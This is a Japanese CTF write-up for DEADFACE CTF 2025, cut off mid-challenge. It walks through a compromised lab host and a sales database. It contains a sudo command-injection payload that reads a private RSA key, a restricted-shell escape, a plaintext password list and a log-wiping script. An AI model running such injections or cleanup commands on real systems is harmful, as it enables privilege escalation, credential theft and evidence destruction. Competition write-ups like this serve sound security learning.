DEADFACE CTF 2025 Writeup

この大会は2025/10/25 23:00(JST)~2025/10/27 9:00(JST)に開催されました。
今回もチームで参戦。結果は2776点で787チーム中146位でした。
自分で解けた問題をWriteupとして書いておきます。

Starter 1 (Let's Get Started 1)

問題にフラグが書いてあった。

deadface{Acknowledged}

Starter 2 (Let's Get Started 1)

問題にフラグが書いてあった。

deadface{I'm ready!}

Let Me In (Hostbusters 5)

$ ssh gh0st404@hostbusters.deadface.io
The authenticity of host 'hostbusters.deadface.io (134.209.121.206)' can't be established.
ED25519 key fingerprint is SHA256:Me9DqNbGMdEg8YOcAAvQzYxnWuXyhygEBzdQGJsvHn4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'hostbusters.deadface.io' (ED25519) to the list of known hosts.
gh0st404@hostbusters.deadface.io's password: 
Linux env03 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Oct 25 21:45:04 2025 from 45.87.212.182
~ $ ls
notes.txt  tools
~ $ cat notes.txt
Day 1 — 10:56 PM
Started pokin’ around De Monne’s public face. Clean enough on the outside, but you know how it goes — pretty lobby, rotten basement. Grabbed some domains: demonnefinancial.com, plus a couple cute little subdomains hangin’ off it. They really love their marketing crap.

Day 2 — 01:12 AM
Email patterns? Easy. first.last@demonnefinancial.com. Classic rookie move. Ran a quick scrape off LinkedIn — already got a list of 50+ employees. Shoutout to the interns who think posting their whole résumé online is a flex.

Day 3 — 02:20 AM
Spotted their VPN login page. Looks shiny, probably thinks it’s bulletproof. No MFA prompt though. That’s a red flag. If it’s really missing, well… let’s just say some middle manager is definitely rockin’ “Password123!” somewhere in there.

Day 4 — 11:37 PM
Their external web app? Yikes. Old Apache headers, outdated PHP version just sittin’ there. Might as well hang a “hack me” sign on the door. Gonna run some deeper scans later. Bet I’ll find something dusty.

Day 5 — 03:03 AM
Poked at their DNS records tonight. Found a staging server hanging out in the wild. Who does that in 2025? Might just be a breadcrumb, but if it’s real… it’s prob got hardcoded creds all over it. Note to self: come back when I’m less tired.

Day 6 — 12:18 AM
Weird thing: their main site pushes traffic through Cloudflare, but half their subdomains don’t. Split-brain security. Classic. Whoever set this up either cut corners or didn’t know what the hell they were doing. Both work in my favor.

Day 7 — 01:45 AM
No break-ins yet — just circling the building, peeking in the windows. Feels like De Monne wants me to think they’re solid. But I can see the cracks. Just need the right pressure to make ‘em split.

deadface{hostbusters1_cf6a12ddf781cfbc}
deadface{hostbusters1_cf6a12ddf781cfbc}

Secret Stash (Hostbusters 8)

~ $ ls -la
total 28
drwxr-sr-x    1 gh0st404 gh0st404      4096 Oct 25 21:45 .
drwxr-xr-x    1 root     root          4096 Sep 17 02:04 ..
-rw-------    1 gh0st404 gh0st404        24 Oct 25 21:47 .ash_history
-rw-r--r--    1 gh0st404 gh0st404       382 Sep 17 02:04 .dont_forget
-rw-r--r--    1 gh0st404 gh0st404      1850 Sep 17 02:04 notes.txt
drwxr-sr-x    1 gh0st404 gh0st404      4096 Sep 17 02:04 tools
~ $ cat .dont_forget
random junk, don’t lose this file (again)

[personal]
Gh0st!v3r$e_404
0nly_Sh4d0w_Kn0ws
n0scopez420!

[tools]
- burp:         waf_slayer$$
- metasploit:   c0d3BReaKer!
- vpn (alt):    4sh3s2dust_

[misc]
- music:      s1lent_echoes
- github:       b4ckd00rRabb1t
- deephax pen: Fr4gm3ntedSkull!!

# note to self: change the pen one (again)

deadface{hostbusters2_4685d0c801939781}
deadface{hostbusters2_4685d0c801939781}

Et Cetera (Hostbusters 25)

問題文にこう書いてある。

gh0st404 is complaining in Ghost Town about his script not working. 

該当する投稿をGhostTownで探すと、以下のページが該当する。
https://ghosttown.deadface.io/t/bruh-why-is-my-script-still-broken/93

該当するスクリプトは/etcの下にあるようだ。

~ $ cd /etc
/etc $ ls -la
total 248
drwxr-xr-x    1 root     root          4096 Oct 25 21:45 .
drwxr-xr-x    1 root     root          4096 Oct 25 21:45 ..
-rw-r--r--    1 root     root             7 Jul 15 10:41 alpine-release
drwxr-xr-x    1 root     root          4096 Sep 17 02:04 apk
drwxr-xr-x    1 root     root          4096 Sep 17 02:04 busybox-paths.d
drwxr-xr-x    2 root     root          4096 Jul 15 10:42 crontabs
-rw-r--r--    1 root     root            97 May 26 20:04 environment
-rw-r--r--    1 root     root            89 Mar 25  2025 fstab
-rw-r--r--    1 root     root           600 Sep 17 02:04 group
-rw-r--r--    1 root     root           592 Sep 17 02:04 group-
-rw-r--r--    1 root     root            12 Oct 25 21:45 hostname
-rw-r--r--    1 root     root           150 Oct 25 21:45 hosts
-rw-r--r--    1 root     root           570 Mar 25  2025 inittab
-rw-r--r--    1 root     root          1748 May 15 10:29 inputrc
-rw-r--r--    1 root     root            51 Jul 15 10:41 issue
----------    1 gh0st404 gh0st404       552 Sep 17 02:04 logclean.sh
                :
                :
/etc $ id
uid=1000(gh0st404) gid=1000(gh0st404) groups=1000(gh0st404)

logclean.shの読み取り権限がないが、オーナーなので、権限を付与し内容を読み取る。

/etc $ chmod 600 logclean.sh
/etc $ ls -l logclean.sh
-rw-------    1 gh0st404 gh0st404       552 Sep 17 02:04 logclean.sh
/etc $ cat logclean.sh
#!/bin/bash
# logclean.sh
# gh0st404’s “oops, wasn’t me” button

echo "[*] wiping bash history..."
cat /dev/null > ~/.bash_history 2>/dev/null
history -c 2>/dev/null

echo "[*] nuking known_hosts..."
rm -f ~/.ssh/known_hosts 2>/dev/null

echo "[*] clearing tmp files..."
rm -rf /tmp/* 2>/dev/null
rm -rf /var/tmp/* 2>/dev/null

echo "[*] zeroing logs (local only)..."
for log in /var/log/*.log; do
    [ -f "$log" ] && cat /dev/null > "$log"
done

echo "[*] cleaning done. ghost mode re-enabled."

echo "deadface{hostbusters3_0547796725934bbd}"
deadface{hostbusters3_0547796725934bbd}

Lay of the Land (Hostbusters 70)

/etc $ cd
~ $ env
USER=gh0st404
SHLVL=2
HOME=/home/gh0st404
OLDPWD=/etc
PAGER=less
flag=deadface{hostbusters4_c6e54afa62741d34}
LOGNAME=gh0st404
TERM=xterm
LC_COLLATE=C
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
LANG=C.UTF-8
SHELL=/bin/sh
PWD=/home/gh0st404
CHARSET=UTF-8
deadface{hostbusters4_c6e54afa62741d34}

Worldwide (Hostbusters 100)

問題文にこう書いてある。

There’s a GhostTown thread between gh0st404 and deephax talking about a pen-console.py being deephax’s default shell. 

該当する投稿をGhostTownで探すと、以下のページが該当する。
https://ghosttown.deadface.io/t/help-with-pen-console/97

suコマンドでdeephaxになれるようだ。しかし、ここにはパスワードは書いていない。パスワードを送ったと書いてある。

~ $ cat .dont_forget
random junk, don’t lose this file (again)

[personal]
Gh0st!v3r$e_404
0nly_Sh4d0w_Kn0ws
n0scopez420!

[tools]
- burp:         waf_slayer$$
- metasploit:   c0d3BReaKer!
- vpn (alt):    4sh3s2dust_

[misc]
- music:      s1lent_echoes
- github:       b4ckd00rRabb1t
- deephax pen: Fr4gm3ntedSkull!!

# note to self: change the pen one (again)

deadface{hostbusters2_4685d0c801939781}

パスワード「Fr4gm3ntedSkull!!」でsuしてみる。

~ $ su deephax
Password: 
YO welcome to deephax’s red team console 🔥 type 'help' for commands or whatever. let’s HAX! 💀
(deephax)> help

Documented commands (type help <topic>):
========================================
base64  decrypt  encrypt  forensics  hash  help  quit  recon

通常のコマンドが使えない。

(deephax)> quit
PEACE OUT - deephax out
>>> import os; os.system("id")
uid=1002(deephax) gid=1002(deephax) groups=1002(deephax)
0

Pythonでコマンドを使っていく。

>>> import os; os.system("cat /etc/passwd")
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
gh0st404:x:1000:1000::/home/gh0st404:/bin/sh
mirveal:x:1001:1001::/home/mirveal:/bin/sh
deephax:x:1002:1002::/home/deephax:/usr/bin/dfsh
0
>>> import os; os.system("cat /usr/bin/dfsh")
#!/bin/sh
python3 -i /usr/local/bin/pen-console.py0
>>> import os; os.system("cat /usr/local/bin/pen-console.py")
#!/usr/bin/python3

import cmd
import os
import hashlib
import base64
import subprocess
from cryptography.fernet import Fernet  # you need this: pip install cryptography

flag="deadface{hostbusters5_e16a5c8995620a24}"

class DeephaxConsole(cmd.Cmd):
    intro = "YO welcome to deephax’s red team console &#128293; type 'help' for commands or whatever. let’s HAX! &#128128;"
    prompt = '(deephax)> '
    
    def do_hash(self, arg):
        """hash <string>: gimme a string, i spit hashes back at ya."""
        if not arg:
            print("bruh... gimme sumthin to hash!! &#128548;")
            return
        print(f"MD5: {hashlib.md5(arg.encode()).hexdigest()}")
        print(f"SHA1: {hashlib.sha1(arg.encode()).hexdigest()}")
        print(f"SHA256: {hashlib.sha256(arg.encode()).hexdigest()}")
    
    def do_encrypt(self, arg):
        """encrypt <message>: encrypts ur message wit Fernet &#128272;"""
        if not arg:
            print("what u tryna lock up? type somethin! &#128477;")
            return
        key = Fernet.generate_key()
        cipher = Fernet(key)
        encrypted = cipher.encrypt(arg.encode())
        print(f"here's ur key (DON'T LOSE IT): {key.decode()}")
        print(f"and here’s ur encrypted junk: {encrypted.decode()}")
    
    def do_decrypt(self, arg):
        """decrypt <key> <ciphertext>: unlock secrets &#128373;♂"""
        args = arg.split()
        if len(args) != 2:
            print("use it like: decrypt <key> <ciphertext>")
            return
        try:
            cipher = Fernet(args[0].encode())
            decrypted = cipher.decrypt(args[1].encode()).decode()
            print(f"BOOM decrypted: {decrypted}")
        except Exception as e:
            print(f"that ain’t workin fam &#128531; err: {e}")
    
    def do_base64(self, arg):
        """base64 <encode|decode> <data>: 4 all ur b64 nonsense"""
        args = arg.split(maxsplit=1)
        if len(args) != 2:
            print("bruh use it like: base64 <encode|decode> <data>")
            return
        mode, data = args[0], args[1]
        if mode == 'encode':
            print(base64.b64encode(data.encode()).decode())
        elif mode == 'decode':
            try:
                print(base64.b64decode(data.encode()).decode())
            except Exception as e:
                print(f"b64 decode borked: {e}")
        else:
            print("nah man, u gotta say 'encode' or 'decode'. not both. not neither.")
    
    def do_recon(self, arg):
        """recon <ip>: run nmap on an IP &#128752;"""
        if not arg:
            print("yo i need an IP &#128529;")
            return
        try:
            result = subprocess.run(['nmap', '-sV', arg], capture_output=True, text=True)
            print(result.stdout)
        except FileNotFoundError:
            print("nmap ain't even installed??? WACK.")
        except Exception as e:
            print(f"recon died &#128565; err: {e}")
    
    def do_forensics(self, arg):
        """forensics <file>: do sum CSI junk on a file &#128269;"""
        if not arg:
            print("what file u want me 2 peek at? &#128064;")
            return
        if not os.path.exists(arg):
            print("dude... that file don’t even EXIST &#128128;")
            return
        size = os.path.getsize(arg)
        file_type = subprocess.run(['file', arg], capture_output=True, text=True).stdout.strip()
        with open(arg, 'rb') as f:
            content = f.read()
            sha256 = hashlib.sha256(content).hexdigest()
        print(f"Size: {size} bytes")
        print(f"Type: {file_type}")
        print(f"SHA256: {sha256}")
    
    def do_quit(self, arg):
        """yeet outta this console."""
        print("PEACE OUT - deephax out ✌")
        return True

if __name__ == '__main__':
    DeephaxConsole().cmdloop()
0

このコードのflag変数にフラグが設定されていた。

deadface{hostbusters5_e16a5c8995620a24}

Read 'Em and Weep (Hostbusters 300)

~ $ ls -la /home/mirveal
total 20
drwxr-sr-x    1 mirveal  mirveal       4096 Sep 17 02:04 .
drwxr-xr-x    1 root     root          4096 Sep 17 02:04 ..
drwxr-sr-x    1 mirveal  mirveal       4096 Sep 17 02:04 .keys
-rw-r--r--    1 mirveal  mirveal        256 Sep 17 02:04 hostbusters6.bin
~ $ ls -la /home/mirveal/.keys
total 16
drwxr-sr-x    1 mirveal  mirveal       4096 Sep 17 02:04 .
drwxr-sr-x    1 mirveal  mirveal       4096 Sep 17 02:04 ..
-rw-------    1 mirveal  mirveal       1704 Sep 17 02:04 private.pem
-rw-r--r--    1 mirveal  mirveal        451 Sep 17 02:04 public.pem

private.pemの読み取り権限がない。

~ $ su deephax
Password: 
YO welcome to deephax’s red team console &#128293; type 'help' for commands or whatever. let’s HAX! &#128128;
(deephax)> quit
PEACE OUT - deephax out ✌
>>> import os; os.system("sudo -l")
Matching Defaults entries for deephax on hostbusters:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for deephax:
    Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User deephax may run the following commands on hostbusters:
    (mirveal) NOPASSWD: /usr/bin/logviewer *
0
>>> import os; os.system("sudo -u mirveal /usr/bin/logviewer '; cat /home/mirveal/.keys/private.pem'")
total 0
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQEXkCTfjy61Ou
XU+J2wHuKn2Y3DMAuPQKRZWO0ty0HmasYJEhC/H5M3ScASgZ5ZmrMBt4mV+clGAM
k0XkPJ5vdUVNiYx0MP1S44u1W11nutH6xAl0l8h90Ij43KHfkkdraOheCqapOkoc
PQyZvwEOczYPNHfCec1Qz96LT91O9hZj8xKn6JksXwxYi4Db4URutQcSsWDbswPx
efaEDcTF3pFH/Hfxk3P7NQbl63EOqUgYk1lAivNFEIjWVuOLyYQWE4CD2LO3kEIh
THd9u+gSJ9x2LqLGLjDKzRrDkRAwvCHV35qMV2XAMARcnKAjWWdfmHTNB1ZGwRqi
NgUMeL/xAgMBAAECggEAKy3dF3nX9o2YpaBOr9Sn32Wo/+5+lSFM387V/ThMPgLr
Gs3FgH6qniUsB24EBO/NhqWqpcnqeiOelS2A/R8JYCcNlUw8viYmhCudpCrMRQkT
p39EWRJgtJ9wtXiQDUYdlTBFvLJoKMlkdNzEfymQzg9hwiEI026UibdBv1Z5Hnf6
Zwx2Zld/vUxToHCAApVoatFqiIhjAsyKGrYooBoPRQzsaTtwEXz3dd/EuHqmYtmL
3PbGjdsKYkZ716UE9VYYhiM/ArrzMqOwvN6JPYKT8kfH+q4DWTnn1SSanVeshyI8
I6nGbjlMrFGrcuICu4LGvEOfLDZzMSUaVDgTvQzt0wKBgQD2wIvEBqNwYQVlOkl2
Hce1ajwCQI7QQrlEZsKmeFMX9+mjvOIoyYVXKPf3Uh5JSkOFX42iQhZT0TjiZVII
ycn8Kbg+FzRPocqqhNCCyfm933yz7Qy7JCDQIorFomlTxtm1J7UCyj4NMmWG+coE
x5UjKXUxaCdzCCKHfEgH4GMU9wKBgQDX3caUdPtfTyCtcApzHRdAuqJFmcCx1c9e
000nqno/MnK/+GjqyPr2GKQazO5e6whbkspgH8Ursg3qCCjXg3oi2YJ+LYx6V2Pu
qAbgMZ7rfgfr+7xFNzWEIyxmKknMYQX8Mm05UIvAyHlgjGcxMn9XjRoZBH1q9Jo8
k2yB6JBgVwKBgEG4MMGJ/xfcT2KRrqUt81XnMIptBVyEmPGV6PwLih4VIn5AvX+d
hM0dFUYi8fwVMnygYYm4zleOnvb1g27hx9FIj1DCP2WCMwdNjnd3MfQXRRBq73wc
eDzXJlzTD/iHOs7b/4L5uKMtLAtSFjNFsPwHe7YoBnHF1eR9/nVSlzErAoGAJH+q
GOXirs3JP6oHCkmr6dTkpRIHI8p8ApOFoyRPASp9fnn4+2G6FSw7axClaUUiJ6Gd
OD2G8AluEtkIVtAzMXtHdiArdXAbRHoCl5usPDMWEc+BmM5p7QqpcijKS5VIFslL
8Hnu90yuQSXcONRJ9bq04+//aLss7PscSKbS6ocCgYEAt4CV9Y38Tq8r/c4gcZYA
ai/mL6LaGvSh6eqR7r/PZJSbKEgGu0JHBVoRNUVqgAP15VgYujqj6FPC12vsRnn+
q61xwSsslvpbx4eGWmV+aPsNm0S1AbXESuJKWZABbP8GRMG/zMy4ZFbWGNXLv6Ib
BpXzlKqoydfNp5O4miab4qo=
-----END PRIVATE KEY-----
0
>>> import os; os.system("sudo -u mirveal /usr/bin/logviewer '; openssl rsautl -decrypt -inkey /home/mirveal/.keys/private.pem -in /home/mirveal/hostbusters6.bin'")
total 0
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.
deadface{hostbusters6_d22a1c03f3454b9c}0
deadface{hostbusters6_d22a1c03f3454b9c}

Promo Code (EpicSales 25)

EpicSalesのシリーズはデータベースから指定の条件のデータ、数値を求める問題。今回は、2025 年 9 月 1 日以降にサインアップした顧客は何人いるかを答える必要がある。

$ mysql -h env01.deadface.io -u epicsales -pSlighted3-Charting-Valium epicsales_db --skip-ssl         
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 54680
Server version: 5.7.44 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [epicsales_db]> show tables;
+------------------------+
| Tables_in_epicsales_db |
+------------------------+
| categories             |
| customers              |
| employee_assignments   |
| employees              |
| facilities             |
| inventories            |
| loyalty_points         |
| order_items            |
| orders                 |
| products               |
| reviews                |
+------------------------+
11 rows in set (0.123 sec)

MySQL [epicsales_db]> show columns from customers;
+-------------+------------------+------+-----+---------+-------+
| Field       | Type             | Null | Key | Default | Extra |
+-------------+------------------+------+-----+---------+-------+
| customer_id | int(10) unsigned | NO   | PRI | NULL    |       |
| first_name  | varchar(32)      | NO   |     | NULL    |       |
| last_name   | varchar(64)      | NO   |     | NULL    |       |
| email       | varchar(128)     | NO   | UNI | NULL    |       |
| password    | varchar(60)      | NO   |     | NULL    |       |
| dob         | date             | NO   |     | NULL    |       |
| sex         | varchar(8)       | NO   |     | NULL    |       |
| join_date   | date             | NO   | MUL | NULL    |       |
| street      | varchar(64)      | NO   |     | NULL    |       |
| suite       | varchar(16)      | YES  |     | NULL    |       |
| city        | varchar(64)      | NO   |     | NULL    |       |
| state       | varchar(8)       | NO   |     | NULL    |       |
| postal      | varchar(16)      | NO   |     | NULL    |       |
| country     | varchar(8)       | NO   |     | US      |       |
+-------------+------------------+------+-----+---------+-------+
14 rows in set (0.123 sec)

MySQL [epicsales_db]> select count(*) from customers where join_date >= '2025-09-01';
+----------+
| count(*) |
+----------+
|       18 |
+----------+
1 row in set (0.123 sec)
deadface{18}

5 Stars (EpicSales 30)

レビュー テーブルで平均評価が最も高い製品の名前を答える問題。

MySQL [epicsales_db]> show columns from reviews;
+-------------+---------------------+------+-----+---------+-------+
| Field       | Type                | Null | Key | Default | Extra |
+-------------+---------------------+------+-----+---------+-------+
| review_id   | int(10) unsigned    | NO   | PRI | NULL    |       |
| product_id  | int(10) unsigned    | NO   | MUL | NULL    |       |
| customer_id | int(10) unsigned    | NO   | MUL | NULL    |       |
| rating      | tinyint(3) unsigned | NO   | MUL | NULL    |       |
| comment     | text                | YES  |     | NULL    |       |
| review_date | date                | NO   |     | NULL    |       |
+-------------+---------------------+------+-----+---------+-------+
6 rows in set (0.125 sec)

MySQL [epicsales_db]> select product_id, avg(rating) as avg_rating from reviews group by product_id order by avg_rating desc limit 1;
+------------+------------+
| product_id | avg_rating |
+------------+------------+
|        146 |     3.2400 |
+------------+------------+
1 row in set (0.131 sec)

MySQL [epicsales_db]> show columns from products;
+--------------+------------------+------+-----+---------+-------+
| Field        | Type             | Null | Key | Default | Extra |
+--------------+------------------+------+-----+---------+-------+
| product_id   | int(10) unsigned | NO   | PRI | NULL    |       |
| product_name | varchar(128)     | NO   |     | NULL    |       |
| model_num    | varchar(32)      | NO   | UNI | NULL    |       |
| version      | varchar(32)      | NO   |     | NULL    |       |
| price        | decimal(10,2)    | NO   | MUL | NULL    |       |
| category_id  | int(10) unsigned | NO   | MUL | NULL    |       |
+--------------+------------------+------+-----+---------+-------+
6 rows in set (0.130 sec)

MySQL [epicsales_db]> select * from products where product_id = 146;
+------------+-------------------+-----------+---------+--------+-------------+
| product_id | product_name      | model_num | version | price  | category_id |
+------------+-------------------+-----------+---------+--------+-------------+
|        146 | VortexAudio Focus | VX-AF1    | 1.0.0   | 119.99 |          29 |
+------------+-------------------+-----------+---------+--------+-------------+
1 row in set (0.124 sec)
deadface{VortexAudio Focus}

Low Stock (EpicSales 50)

特定の施設内の合計数量が 5 未満の製品の product_name と facility_num を識別し、このうち、最も少ない数量の製品と保管している施設を答える問題。

MySQL [epicsales_db]> show columns from inventories;
+--------------+------------------+------+-----+---------+-------+
| Field        | Type             | Null | Key | Default | Extra |
+--------------+------------------+------+-----+---------+-------+
| inventory_id | int(10) unsigned | NO   | PRI | NULL    |       |
| product_id   | int(10) unsigned | NO   | MUL | NULL    |       |
| facility_id  | int(10) unsigned | NO   | MUL | NULL    |       |
| quantity     | int(10) unsigned | NO   |     | 0       |       |
+--------------+------------------+------+-----+---------+-------+
4 rows in set (0.123 sec)

MySQL [epicsales_db]> select * from inventories where quantity < 5;
+--------------+------------+-------------+----------+
| inventory_id | product_id | facility_id | quantity |
+--------------+------------+-------------+----------+
|          103 |        104 |           3 |        3 |
|          183 |        184 |           8 |        2 |
|         1091 |        188 |          16 |        1 |
|         2534 |         49 |           9 |        2 |
|         3826 |        211 |           1 |        3 |
|         4984 |         12 |           9 |        4 |
+--------------+------------+-------------+----------+
6 rows in set (0.130 sec)

inventory_idが1091のquantityが一番少ない。

MySQL [epicsales_db]> select product_name from products where product_id = 188;
+---------------------------+
| product_name              |
+---------------------------+
| ConnectGear SafeDrive 2TB |
+---------------------------+
1 row in set (0.124 sec)

MySQL [epicsales_db]> show columns from facilities;
+--------------+------------------+------+-----+---------+-------+
| Field        | Type             | Null | Key | Default | Extra |
+--------------+------------------+------+-----+---------+-------+
| facility_id  | int(10) unsigned | NO   | PRI | NULL    |       |
| facility_num | int(10) unsigned | NO   | UNI | NULL    |       |
| street       | varchar(64)      | NO   |     | NULL    |       |
| suite        | varchar(16)      | YES  |     | NULL    |       |
| city         | varchar(64)      | NO   |     | NULL    |       |
| state        | varchar(8)       | NO   |     | NULL    |       |
| postal       | varchar(16)      | NO   |     | NULL    |       |
| country      | varchar(8)       | NO   |     | US      |       |
+--------------+------------------+------+-----+---------+-------+
8 rows in set (0.124 sec)

MySQL [epicsales_db]> select facility_num from facilities where facility_id = 16;
+--------------+
| facility_num |
+--------------+
|           16 |
+--------------+
1 row in set (0.123 sec)
deadface{ConnectGear SafeDrive 2TB 16}

High Value Targets (EpicSales 50)

経営幹部役職(CEO、CTO、CFO)に就いている全従業員のpay_rateの合計を答える問題。

MySQL [epicsales_db]> show columns from employees;
+-------------+------------------+------+-----+---------+-------+
| Field       | Type             | Null | Key | Default | Extra |
+-------------+------------------+------+-----+---------+-------+
| employee_id | int(10) unsigned | NO   | PRI | NULL    |       |
| first_name  | varchar(32)      | NO   |     | NULL    |       |
| last_name   | varchar(64)      | NO   |     | NULL    |       |
| email       | varchar(128)     | NO   | UNI | NULL    |       |
| dob         | date             | NO   |     | NULL    |       |
| sex         | varchar(8)       | NO   |     | NULL    |       |
| start_date  | date             | NO   | MUL | NULL    |       |
| end_date    | date             | YES  |     | NULL    |       |
| pay_rate    | decimal(10,2)    | NO   |     | NULL    |       |
| role        | varchar(64)      | YES  |     | NULL    |       |
| street      | varchar(64)      | NO   |     | NULL    |       |
| suite       | varchar(16)      | YES  |     | NULL    |       |
| city        | varchar(64)      | NO   |     | NULL    |       |
| state       | varchar(8)       | NO   |     | NULL    |       |
| postal      | varchar(16)      | NO   |     | NULL    |       |
| country     | varchar(8)       | NO   |     | US      |       |
+-------------+------------------+------+-----+---------+-------+
16 rows in set (0.125 sec)

MySQL [epicsales_db]> select sum(pay_rate) from employees where role in ('CEO', 'CTO', 'CFO');
+---------------+
| sum(pay_rate) |
+---------------+
|       7391.20 |
+---------------+
1 row in set (0.125 sec)
deadface{$7391.20}

Silent Buyers (EpicSales 100)

どの製品に対してもレビューを残したことがない、最も多くの注文を行っている顧客の電子メール アドレスを答える問題。

MySQL [epicsales_db]> show columns from orders;
+-------------+------------------+------+-----+---------+----------------+
| Field       | Type             | Null | Key | Default | Extra          |
+-------------+------------------+------+-----+---------+----------------+
| order_id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| order_num   | varchar(32)      | NO   | UNI | NULL    |                |
| customer_id | int(10) unsigned | NO   | MUL | NULL    |                |
| order_date  | date             | NO   | MUL | NULL    |                |
+-------------+------------------+------+-----+---------+----------------+
4 rows in set (0.125 sec)

MySQL [epicsales_db]> select customers.email from customers join orders on customers.customer_id = orders.customer_id where not exists (select 1 from reviews where reviews.customer_id = customers.customer_id) group by customers.customer_id order by count(orders.order_id) desc limit 1;
+-----------------------+
| email                 |
+-----------------------+
| dgrimsley2ab@webs.com |
+-----------------------+
1 row in set (0.134 sec)
deadface{dgrimsley2ab@webs.com}

What's the Password? (Trojan Echoes 25)

zipファイルを"infected"というパスワードで解凍すると、flag.txtが展開され、フラグが書いてあった。

deadface{Hello_my_friend}

String Theory (Trojan Echoes 50)

$ strings sample_01E9.exe.exe | grep -A 3 -B 3 deadface
T$XL
D$`L
L$hH
01 - deadface{
We_meet
_again}
You wanted this to be easy?
deadface{We_meet_again}

Watch the Birdie (Trojan Echoes 100)

exeをGhidraでデコンパイルすると、main関数の中に以下の部分がある。

  local_80 = "aWxl";
  local_88 = "bl9h";
  local_90 = "dHNf";
  local_98 = "LSBk";
  local_a0 = "ZmFj";
  local_a8 = "ZXtJ";
  local_b0 = "ZWFk";
  local_b8 = "YmVl";
  local_c0 = "X3do";
  local_c8 = "MDIg";
  local_d0 = "fQ==";
  strcpy(local_78,local_50);
  strcat(local_78,local_58);
  strcat(local_268,local_c8);
  strcat(local_268,local_98);
  strcat(local_268,local_b0);
  strcat(local_268,local_a0);
  strcat(local_268,local_a8);
  strcat(local_268,local_90);
  strcat(local_268,local_b8);
  strcat(local_268,local_88);
  strcat(local_268,local_c0);
  strcat(local_268,local_80);
  strcat(local_268,local_d0);

local_c8から順番に結合し、base64デコードする。

$ echo MDIgLSBkZWFkZmFjZXtJdHNfYmVlbl9hX3doaWxlfQ== | base64 -d
02 - deadface{Its_been_a_while}
deadface{Its_been_a_while}

Lingering Shadow (Trojan Echoes 200)

exeをGhidraでデコンパイルすると、main関数の中に以下の部分がある。

  local_110 = "aG91";
  local_118 = "aGVy";
  local_120 = "LSBk";
  local_128 = "ZmFj";
  local_130 = "ZXtX";
  local_138 = "ZWFk";
  local_140 = "ZV9z";
  local_148 = "d2Vf";
  local_150 = "YmVn";
  local_158 = "bGRf";
  local_160 = "MDMg";
  local_168 = "aW59";
  strcpy(local_78,local_50);
  strcat(local_78,local_58);
  strcat((char *)local_318,local_160);
  strcat((char *)local_318,local_120);
  strcat((char *)local_318,local_138);
  strcat((char *)local_318,local_128);
  strcat((char *)local_318,local_130);
  strcat((char *)local_318,local_118);
  strcat((char *)local_318,local_140);
  strcat((char *)local_318,local_110);
  strcat((char *)local_318,local_158);
  strcat((char *)local_318,local_148);
  strcat((char *)local_318,local_150);
  strcat((char *)local_318,local_168);

local_160から順番に結合し、base64デコードする。

$ echo MDMgLSBkZWFkZmFjZXtXaGVyZV9zaG91bGRfd2VfYmVnaW59 | base64 -d
03 - deadface{Where_should_we_begin}
deadface{Where_should_we_begin}

The Call From Beyond (Trojan Echoes 400)

exeをGhidraでデコンパイルすると、main関数の中に以下の部分がある。

  local_178 = "/4c/53";
  local_180 = "/5a/58";
  local_188 = "/74/6c";
  local_190 = "/42/6b";
  local_198 = "/46/6b";
  local_1a0 = "/51/67";
  local_1a8 = "/5a/76";
  local_1b0 = "/5a/6d";
  local_1b8 = "/46/6a";
  local_1c0 = "/5a/57";
  local_1c8 = "/39/73";
  local_1d0 = "/5a/58";
  local_1d8 = "/4d/44";
  local_1e0 = "/5a/57";
  local_1e8 = "/63/6d";
  local_1f0 = "/61/57";
  local_1f8 = "/56/32";
  local_200 = "/74/47";
  local_208 = "/58/32";
  local_210 = "/63/31";
  local_218 = "/56/73";
  local_220 = "/4a/39";
  strcat(local_3c8,"/4d/44");
  strcat(local_3c8,local_1a0);
  strcat(local_3c8,local_178);
  strcat(local_3c8,local_190);
  strcat(local_3c8,local_1c0);
  strcat(local_3c8,local_198);
  strcat(local_3c8,local_1b0);
  strcat(local_3c8,local_1b8);
  strcat(local_3c8,local_1d0);
  strcat(local_3c8,local_200);
  strcat(local_3c8,local_1e0);
  strcat(local_3c8,local_218);
  strcat(local_3c8,local_210);
  strcat(local_3c8,local_1c8);
  strcat(local_3c8,local_1f0);
  strcat(local_3c8,local_188);
  strcat(local_3c8,local_208);
